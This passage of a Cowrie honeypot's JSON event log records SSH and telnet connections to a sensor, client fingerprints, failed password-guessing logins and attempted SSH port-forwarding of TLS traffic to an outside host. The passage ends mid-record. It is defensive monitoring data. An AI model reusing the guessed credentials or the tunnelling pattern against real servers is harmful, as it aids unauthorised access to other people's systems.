{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94\\xbb\\xba\\x8f3\\xc6\\x0c.o\\xf15\\xf8\\x1e\\x9dNMP\\xc1;\\x80\\xf7o-\\x1bKQ\\x7ft\\x8c$3Y Sr\\xf7\\x94\\x15b\\x88\\xe6\\x93,\\x8c0&\\xd3{\\xcd\\xf5\\xdf{\\xc9k\\xf9\\x88\\x91\\xbf\\x1dOq\\x8ap\"\\x88\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x98\\x152\\xa3\\x87%#\\x93\\xdcQ\\x99n\\x82\\x1c?<\\xc5\\xf7Hj\\x9f\\x07\\x9e\\x16\\x00\\xc5z\\xa0\\xdf\\xd1XU\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94\\xbb\\xba\\x8f3\\xc6\\x0c.o\\xf15\\xf8\\x1e\\x9dNMP\\xc1;\\x80\\xf7o-\\x1bKQ\\x7ft\\x8c$3Y Sr\\xf7\\x94\\x15b\\x88\\xe6\\x93,\\x8c0&\\xd3{\\xcd\\xf5\\xdf{\\xc9k\\xf9\\x88\\x91\\xbf\\x1dOq\\x8ap\"\\x88\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x98\\x152\\xa3\\x87%#\\x93\\xdcQ\\x99n\\x82\\x1c?<\\xc5\\xf7Hj\\x9f\\x07\\x9e\\x16\\x00\\xc5z\\xa0\\xdf\\xd1XU\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:18.208726Z","src_ip":"123.27.168.40","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:18.259000Z","src_ip":"91.92.40.36","session":"c0db081fee04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:18.263857Z","src_ip":"91.92.40.36","session":"c0db081fee04","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:18.646295Z","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:18.876574Z","src_ip":"123.27.168.40","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035\\xb9(\\xab\\x1f\\x7f\\xacM\\xdf\\x99\\x06Iw\\xd8\\xd0\\xa3Ta\\xe4\\x10\\xb8\\x19\\x08\\xe2\\x8f\\xb0~\\x14\\xab\\xf9\\x14\\x8a \\x02\\xe6\\xb2\\xa1\\x00-\\x8e\\x08I7\\xac\\x12Y\\xc9#\\xc2G`\\xfe\\x8b\\xa4\\x16R\\x9eN\\xe4\\xd8\\x1e\\xc9\\xb0\\xd4]\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 ^D\\xde=\\xd0\\x85\\x7f\\x91\\xbdkX\\xa7\\xc7\\xad\\xcbQ-\\xc9\\x15\\x82\\xa6\\x1b\\x08\\x01\\x8b\\x18\\x8b\\x9d\\x12\\xbc\\xf9\\x12\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035\\xb9(\\xab\\x1f\\x7f\\xacM\\xdf\\x99\\x06Iw\\xd8\\xd0\\xa3Ta\\xe4\\x10\\xb8\\x19\\x08\\xe2\\x8f\\xb0~\\x14\\xab\\xf9\\x14\\x8a \\x02\\xe6\\xb2\\xa1\\x00-\\x8e\\x08I7\\xac\\x12Y\\xc9#\\xc2G`\\xfe\\x8b\\xa4\\x16R\\x9eN\\xe4\\xd8\\x1e\\xc9\\xb0\\xd4]\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 ^D\\xde=\\xd0\\x85\\x7f\\x91\\xbdkX\\xa7\\xc7\\xad\\xcbQ-\\xc9\\x15\\x82\\xa6\\x1b\\x08\\x01\\x8b\\x18\\x8b\\x9d\\x12\\xbc\\xf9\\x12\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:18.880356Z","src_ip":"123.27.168.40","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:19.153881Z","src_ip":"91.92.40.36","session":"210500144115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:19.253919Z","src_ip":"123.27.168.40","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mona","password":"123456","message":"login attempt [mona/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:23.256675Z","src_ip":"91.92.40.36","session":"c0db081fee04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44690,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5944d0c1b75","protocol":"ssh","message":"New connection: 91.92.40.36:44690 (159.203.135.109:22) [session: d5944d0c1b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:24.564046Z"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:25.666590Z","src_ip":"91.92.40.36","session":"c0db081fee04","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:25.887536Z","src_ip":"91.92.40.36","session":"d5944d0c1b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:25.891266Z","src_ip":"91.92.40.36","session":"d5944d0c1b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38118,"dst_ip":"159.203.135.109","dst_port":23,"session":"e427848135da","protocol":"telnet","message":"New connection: 128.199.8.54:38118 (159.203.135.109:23) [session: e427848135da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:30.678967Z"}
{"eventid":"cowrie.login.failed","username":"leidyroa","password":"123456","message":"login attempt [leidyroa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:32.399875Z","src_ip":"91.92.40.36","session":"d5944d0c1b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56702,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c6752090aea","protocol":"ssh","message":"New connection: 91.92.40.36:56702 (159.203.135.109:22) [session: 9c6752090aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:33.140111Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44608,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bf2e0b1ae22","protocol":"telnet","message":"New connection: 172.81.62.90:44608 (159.203.135.109:23) [session: 0bf2e0b1ae22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:33.259887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:34.148660Z","src_ip":"91.92.40.36","session":"9c6752090aea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:34.153145Z","src_ip":"91.92.40.36","session":"9c6752090aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:34.417291Z","src_ip":"91.92.40.36","session":"d5944d0c1b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":43018,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6ff6fd92010","protocol":"ssh","message":"New connection: 182.93.50.90:43018 (159.203.135.109:22) [session: c6ff6fd92010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:36.064734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:36.069622Z","src_ip":"182.93.50.90","session":"c6ff6fd92010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gc